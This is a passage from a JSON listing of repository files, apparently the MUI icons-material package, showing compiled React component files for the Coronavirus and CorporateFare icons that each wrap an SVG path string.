0-1.06l-.01-.01 1.09-1.09c1.02.82 2.26 1.36 3.63 1.51v1.55c-.41.01-.74.34-.74.75s.34.75.75.75h1.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.01v-1.54c1.37-.14 2.62-.69 3.64-1.51l1.09 1.09c-.29.29-.28.76.01 1.05s.77.29 1.06 0l1.06-1.06c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-.01.01-1.09-1.09c.82-1.02 1.37-2.27 1.52-3.65h1.54c0 .41.34.75.75.75s.75-.34.75-.75v-1.5c.01-.4-.33-.74-.74-.74M13.75 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1.75-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3.5 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m.75-4c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'Coronavirus');"
  },
  {
    "path": "packages/mui-icons-material/lib/Coronavirus.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.25 10.5c-.41 0-.75.34-.75.75h-1.54c-.15-1.37-.69-2.63-1.52-3.65l1.09-1.09.01.01c.29.29.77.29 1.06 0s.29-.77 0-1.06L18.54 4.4c-.29-.29-.77-.29-1.06 0s-.29.76-.01 1.05l-1.09 1.09a7.015 7.015 0 0 0-3.64-1.51V3.5h.01c.41 0 .75-.34.75-.75S13.16 2 12.75 2h-1.5c-.41 0-.75.34-.75.75s.33.74.74.75v1.55c-1.37.14-2.62.69-3.64 1.51L6.51 5.47l.01-.01c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0L4.4 5.46c-.29.29-.29.77 0 1.06s.76.29 1.05.01l1.09 1.09c-.82 1.02-1.36 2.26-1.5 3.63H3.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.5c0 .41.34.75.75.75s.75-.34.75-.75h1.54c.15 1.37.69 2.61 1.5 3.63l-1.09 1.09c-.29-.29-.76-.28-1.05.01s-.29.77 0 1.06l1.06 1.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.01-.01 1.09-1.09c1.02.82 2.26 1.36 3.63 1.51v1.55c-.41.01-.74.34-.74.75s.34.75.75.75h1.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.01v-1.54c1.37-.14 2.62-.69 3.64-1.51l1.09 1.09c-.29.29-.28.76.01 1.05s.77.29 1.06 0l1.06-1.06c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-.01.01-1.09-1.09c.82-1.02 1.37-2.27 1.52-3.65h1.54c0 .41.34.75.75.75s.75-.34.75-.75v-1.5c.01-.4-.33-.74-.74-.74M13.75 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1.75-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3.5 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m.75-4c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'Coronavirus');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4.25-2c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-3.5 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M22 11.25v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75h-1.54c-.15 1.37-.69 2.63-1.52 3.65l1.09 1.09.01-.01c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-1.06 1.06c-.29.29-.77.29-1.06 0s-.29-.76-.01-1.05l-1.09-1.09a7.015 7.015 0 0 1-3.64 1.51v1.54h.01c.41 0 .75.34.75.75s-.34.75-.75.75h-1.5c-.41 0-.75-.34-.75-.75s.33-.74.74-.75v-1.55c-1.37-.15-2.62-.69-3.63-1.51l-1.09 1.09.01.01c.29.29.29.77 0 1.06s-.77.29-1.06 0L4.4 18.54c-.29-.29-.29-.77 0-1.06s.76-.29 1.05-.01l1.09-1.09c-.82-1.02-1.36-2.26-1.5-3.63H3.5c0 .41-.34.75-.75.75S2 13.16 2 12.75v-1.5c0-.41.34-.75.75-.75s.75.34.75.75h1.54c.15-1.37.69-2.61 1.5-3.63L5.45 6.53c-.29.28-.76.28-1.05-.01s-.29-.77 0-1.06L5.46 4.4c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.01.01L7.6 6.56c1.02-.82 2.26-1.36 3.63-1.51V3.5c-.41-.01-.74-.34-.74-.75.01-.41.35-.75.76-.75h1.5c.41 0 .75.34.75.75s-.34.75-.75.75h-.01v1.54c1.37.14 2.62.69 3.64 1.51l1.09-1.09c-.29-.29-.28-.76.01-1.05s.77-.29 1.06 0l1.06 1.06c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.01-.01-1.09 1.08c.82 1.02 1.37 2.27 1.52 3.65h1.54c0-.41.34-.75.75-.75s.75.34.75.75M17 12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5-1c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3.5 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-1.75 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'CoronavirusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4.25-2c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-3.5 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M22 11.25v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75h-1.54c-.15 1.37-.69 2.63-1.52 3.65l1.09 1.09.01-.01c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-1.06 1.06c-.29.29-.77.29-1.06 0s-.29-.76-.01-1.05l-1.09-1.09a7.015 7.015 0 0 1-3.64 1.51v1.54h.01c.41 0 .75.34.75.75s-.34.75-.75.75h-1.5c-.41 0-.75-.34-.75-.75s.33-.74.74-.75v-1.55c-1.37-.15-2.62-.69-3.63-1.51l-1.09 1.09.01.01c.29.29.29.77 0 1.06s-.77.29-1.06 0L4.4 18.54c-.29-.29-.29-.77 0-1.06s.76-.29 1.05-.01l1.09-1.09c-.82-1.02-1.36-2.26-1.5-3.63H3.5c0 .41-.34.75-.75.75S2 13.16 2 12.75v-1.5c0-.41.34-.75.75-.75s.75.34.75.75h1.54c.15-1.37.69-2.61 1.5-3.63L5.45 6.53c-.29.28-.76.28-1.05-.01s-.29-.77 0-1.06L5.46 4.4c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.01.01L7.6 6.56c1.02-.82 2.26-1.36 3.63-1.51V3.5c-.41-.01-.74-.34-.74-.75.01-.41.35-.75.76-.75h1.5c.41 0 .75.34.75.75s-.34.75-.75.75h-.01v1.54c1.37.14 2.62.69 3.64 1.51l1.09-1.09c-.29-.29-.28-.76.01-1.05s.77-.29 1.06 0l1.06 1.06c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.01-.01-1.09 1.08c.82 1.02 1.37 2.27 1.52 3.65h1.54c0-.41.34-.75.75-.75s.75.34.75.75M17 12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5-1c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3.5 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-1.75 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}), 'CoronavirusOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusRounded.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M21.25 10.5c-.41 0-.75.34-.75.75h-1.54c-.15-1.37-.69-2.63-1.52-3.65l1.09-1.09.01.01c.29.29.77.29 1.06 0s.29-.77 0-1.06L18.54 4.4c-.29-.29-.77-.29-1.06 0s-.29.76-.01 1.05l-1.09 1.09a7.015 7.015 0 0 0-3.64-1.51V3.5h.01c.41 0 .75-.34.75-.75S13.16 2 12.75 2h-1.5c-.41 0-.75.34-.75.75s.33.74.74.75v1.55c-1.37.14-2.62.69-3.64 1.51L6.51 5.47l.01-.01c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0L4.4 5.46c-.29.29-.29.77 0 1.06s.76.29 1.05.01l1.09 1.09c-.82 1.02-1.36 2.26-1.5 3.63H3.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.5c0 .41.34.75.75.75s.75-.34.75-.75h1.54c.15 1.37.69 2.61 1.5 3.63l-1.09 1.09c-.29-.29-.76-.28-1.05.01s-.29.77 0 1.06l1.06 1.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.01-.01 1.09-1.09c1.02.82 2.26 1.36 3.63 1.51v1.55c-.41.01-.74.34-.74.75s.34.75.75.75h1.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.01v-1.54c1.37-.14 2.62-.69 3.64-1.51l1.09 1.09c-.29.29-.28.76.01 1.05s.77.29 1.06 0l1.06-1.06c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-.01.01-1.09-1.09c.82-1.02 1.37-2.27 1.52-3.65h1.54c0 .41.34.75.75.75s.75-.34.75-.75v-1.5c.01-.4-.33-.74-.74-.74M13.75 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1.75-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3.5 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m.75-4c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'CoronavirusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusRounded.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M21.25 10.5c-.41 0-.75.34-.75.75h-1.54c-.15-1.37-.69-2.63-1.52-3.65l1.09-1.09.01.01c.29.29.77.29 1.06 0s.29-.77 0-1.06L18.54 4.4c-.29-.29-.77-.29-1.06 0s-.29.76-.01 1.05l-1.09 1.09a7.015 7.015 0 0 0-3.64-1.51V3.5h.01c.41 0 .75-.34.75-.75S13.16 2 12.75 2h-1.5c-.41 0-.75.34-.75.75s.33.74.74.75v1.55c-1.37.14-2.62.69-3.64 1.51L6.51 5.47l.01-.01c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0L4.4 5.46c-.29.29-.29.77 0 1.06s.76.29 1.05.01l1.09 1.09c-.82 1.02-1.36 2.26-1.5 3.63H3.5c0-.41-.34-.75-.75-.75s-.75.34-.75.75v1.5c0 .41.34.75.75.75s.75-.34.75-.75h1.54c.15 1.37.69 2.61 1.5 3.63l-1.09 1.09c-.29-.29-.76-.28-1.05.01s-.29.77 0 1.06l1.06 1.06c.29.29.77.29 1.06 0s.29-.77 0-1.06l-.01-.01 1.09-1.09c1.02.82 2.26 1.36 3.63 1.51v1.55c-.41.01-.74.34-.74.75s.34.75.75.75h1.5c.41 0 .75-.34.75-.75s-.34-.75-.75-.75h-.01v-1.54c1.37-.14 2.62-.69 3.64-1.51l1.09 1.09c-.29.29-.28.76.01 1.05s.77.29 1.06 0l1.06-1.06c.29-.29.29-.77 0-1.06s-.77-.29-1.06 0l-.01.01-1.09-1.09c.82-1.02 1.37-2.27 1.52-3.65h1.54c0 .41.34.75.75.75s.75-.34.75-.75v-1.5c.01-.4-.33-.74-.74-.74M13.75 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m-1.75-5c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m3.5 0c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m.75-4c0-.55.45-1 1-1s1 .45 1 1-.45 1-1 1-1-.45-1-1\"\n}), 'CoronavirusRounded');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusSharp.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M20.5 10.5v.75h-1.54c-.15-1.37-.69-2.63-1.52-3.65l1.09-1.09.01.01.53.53 1.06-1.06-2.12-2.12-1.06 1.06.52.52-1.09 1.09a7.015 7.015 0 0 0-3.64-1.51V3.5h.76V2h-3v1.5h.74v1.54c-1.37.15-2.62.7-3.64 1.52L6.51 5.47l.01-.01.53-.53-1.06-1.06-2.12 2.12 1.06 1.06.52-.52 1.09 1.09c-.82 1.02-1.36 2.26-1.5 3.63H3.5v-.75H2v3h1.5v-.75h1.54c.15 1.37.69 2.61 1.5 3.63l-1.09 1.09-.52-.52-1.06 1.06 2.12 2.12 1.06-1.06-.53-.53-.01-.01 1.09-1.09c1.02.82 2.26 1.36 3.63 1.51v1.54h-.73V22h3v-1.5h-.76v-1.54c1.37-.14 2.62-.69 3.64-1.51l1.09 1.09-.52.52 1.06 1.06L20.13 18l-1.06-1.06-.53.53-.01.01-1.09-1.09c.82-1.02 1.37-2.27 1.52-3.65h1.54v.75H22v-3h-1.5zM13.75 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-3.5 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CoronavirusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusSharp.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M20.5 10.5v.75h-1.54c-.15-1.37-.69-2.63-1.52-3.65l1.09-1.09.01.01.53.53 1.06-1.06-2.12-2.12-1.06 1.06.52.52-1.09 1.09a7.015 7.015 0 0 0-3.64-1.51V3.5h.76V2h-3v1.5h.74v1.54c-1.37.15-2.62.7-3.64 1.52L6.51 5.47l.01-.01.53-.53-1.06-1.06-2.12 2.12 1.06 1.06.52-.52 1.09 1.09c-.82 1.02-1.36 2.26-1.5 3.63H3.5v-.75H2v3h1.5v-.75h1.54c.15 1.37.69 2.61 1.5 3.63l-1.09 1.09-.52-.52-1.06 1.06 2.12 2.12 1.06-1.06-.53-.53-.01-.01 1.09-1.09c1.02.82 2.26 1.36 3.63 1.51v1.54h-.73V22h3v-1.5h-.76v-1.54c1.37-.14 2.62-.69 3.64-1.51l1.09 1.09-.52.52 1.06 1.06L20.13 18l-1.06-1.06-.53.53-.01.01-1.09-1.09c.82-1.02 1.37-2.27 1.52-3.65h1.54v.75H22v-3h-1.5zM13.75 8c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-3.5 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\"\n}), 'CoronavirusSharp');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusTwoTone.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)([/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.75 1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-3.5 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M9.5 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4.25-2c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-3.5 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M22 11.25v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75h-1.54c-.15 1.37-.69 2.63-1.52 3.65l1.09 1.09.01-.01c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-1.06 1.06c-.29.29-.77.29-1.06 0s-.29-.76-.01-1.05l-1.09-1.09a7.015 7.015 0 0 1-3.64 1.51v1.54h.01c.41 0 .75.34.75.75s-.34.75-.75.75h-1.5c-.41 0-.75-.34-.75-.75s.33-.74.74-.75v-1.55c-1.37-.15-2.62-.69-3.63-1.51l-1.09 1.09.01.01c.29.29.29.77 0 1.06s-.77.29-1.06 0L4.4 18.54c-.29-.29-.29-.77 0-1.06s.76-.29 1.05-.01l1.09-1.09c-.82-1.02-1.36-2.26-1.5-3.63H3.5c0 .41-.34.75-.75.75S2 13.16 2 12.75v-1.5c0-.41.34-.75.75-.75s.75.34.75.75h1.54c.15-1.37.69-2.61 1.5-3.63L5.45 6.53c-.29.28-.76.28-1.05-.01s-.29-.77 0-1.06L5.46 4.4c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.01.01L7.6 6.56c1.02-.82 2.26-1.36 3.63-1.51V3.5c-.41-.01-.74-.34-.74-.75.01-.41.35-.75.76-.75h1.5c.41 0 .75.34.75.75s-.34.75-.75.75h-.01v1.54c1.37.14 2.62.69 3.64 1.51l1.09-1.09c-.29-.29-.28-.76.01-1.05s.77-.29 1.06 0l1.06 1.06c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.01-.01-1.09 1.08c.82 1.02 1.37 2.27 1.52 3.65h1.54c0-.41.34-.75.75-.75s.75.34.75.75M17 12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5-1c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3.5 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-1.75 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}, \"1\")], 'CoronavirusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CoronavirusTwoTone.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon([/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7c-2.76 0-5 2.24-5 5s2.24 5 5 5 5-2.24 5-5-2.24-5-5-5m1.75 1c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1m-3.5 0c.55 0 1 .45 1 1s-.45 1-1 1-1-.45-1-1 .45-1 1-1M8.5 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1M12 13c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75 3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1m1.75-3c-.55 0-1-.45-1-1s.45-1 1-1 1 .45 1 1-.45 1-1 1\",\n  opacity: \".3\"\n}, \"0\"), /*#__PURE__*/_jsx(\"path\", {\n  d: \"M9.5 12c0 .55-.45 1-1 1s-1-.45-1-1 .45-1 1-1 1 .45 1 1m4.25-2c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m-3.5 0c.55 0 1-.45 1-1s-.45-1-1-1-1 .45-1 1 .45 1 1 1m0 4c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1M22 11.25v1.5c0 .41-.34.75-.75.75s-.75-.34-.75-.75h-1.54c-.15 1.37-.69 2.63-1.52 3.65l1.09 1.09.01-.01c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-1.06 1.06c-.29.29-.77.29-1.06 0s-.29-.76-.01-1.05l-1.09-1.09a7.015 7.015 0 0 1-3.64 1.51v1.54h.01c.41 0 .75.34.75.75s-.34.75-.75.75h-1.5c-.41 0-.75-.34-.75-.75s.33-.74.74-.75v-1.55c-1.37-.15-2.62-.69-3.63-1.51l-1.09 1.09.01.01c.29.29.29.77 0 1.06s-.77.29-1.06 0L4.4 18.54c-.29-.29-.29-.77 0-1.06s.76-.29 1.05-.01l1.09-1.09c-.82-1.02-1.36-2.26-1.5-3.63H3.5c0 .41-.34.75-.75.75S2 13.16 2 12.75v-1.5c0-.41.34-.75.75-.75s.75.34.75.75h1.54c.15-1.37.69-2.61 1.5-3.63L5.45 6.53c-.29.28-.76.28-1.05-.01s-.29-.77 0-1.06L5.46 4.4c.29-.29.77-.29 1.06 0s.29.77 0 1.06l-.01.01L7.6 6.56c1.02-.82 2.26-1.36 3.63-1.51V3.5c-.41-.01-.74-.34-.74-.75.01-.41.35-.75.76-.75h1.5c.41 0 .75.34.75.75s-.34.75-.75.75h-.01v1.54c1.37.14 2.62.69 3.64 1.51l1.09-1.09c-.29-.29-.28-.76.01-1.05s.77-.29 1.06 0l1.06 1.06c.29.29.29.77 0 1.06s-.77.29-1.06 0l-.01-.01-1.09 1.08c.82 1.02 1.37 2.27 1.52 3.65h1.54c0-.41.34-.75.75-.75s.75.34.75.75M17 12c0-2.76-2.24-5-5-5s-5 2.24-5 5 2.24 5 5 5 5-2.24 5-5m-5-1c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m3.5 0c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1m-1.75 3c-.55 0-1 .45-1 1s.45 1 1 1 1-.45 1-1-.45-1-1-1\"\n}, \"1\")], 'CoronavirusTwoTone');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFare.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFare');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFare.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFare');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareOutlined.js",
    "content": "\"use strict\";\n\"use client\";\n\nvar _interopRequireDefault = require(\"@babel/runtime/helpers/interopRequireDefault\").default;\nObject.defineProperty(exports, \"__esModule\", {\n  value: true\n});\nexports.default = void 0;\nvar _createSvgIcon = _interopRequireDefault(require(\"./utils/createSvgIcon\"));\nvar _jsxRuntime = require(\"react/jsx-runtime\");\nvar _default = exports.default = (0, _createSvgIcon.default)(/*#__PURE__*/(0, _jsxRuntime.jsx)(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareOutlined.mjs",
    "content": "\"use client\";\n\nimport createSvgIcon from \"./utils/createSvgIcon.mjs\";\nimport { jsx as _jsx } from \"react/jsx-runtime\";\nexport default createSvgIcon(/*#__PURE__*/_jsx(\"path\", {\n  d: \"M12 7V3H2v18h20V7zm-2 12H4v-2h6zm0-4H4v-2h6zm0-4H4V9h6zm0-4H4V5h6zm10 12h-8V9h8zm-2-8h-4v2h4zm0 4h-4v2h4z\"\n}), 'CorporateFareOutlined');"
  },
  {
    "path": "packages/mui-icons-material/lib/CorporateFareRounded.js",
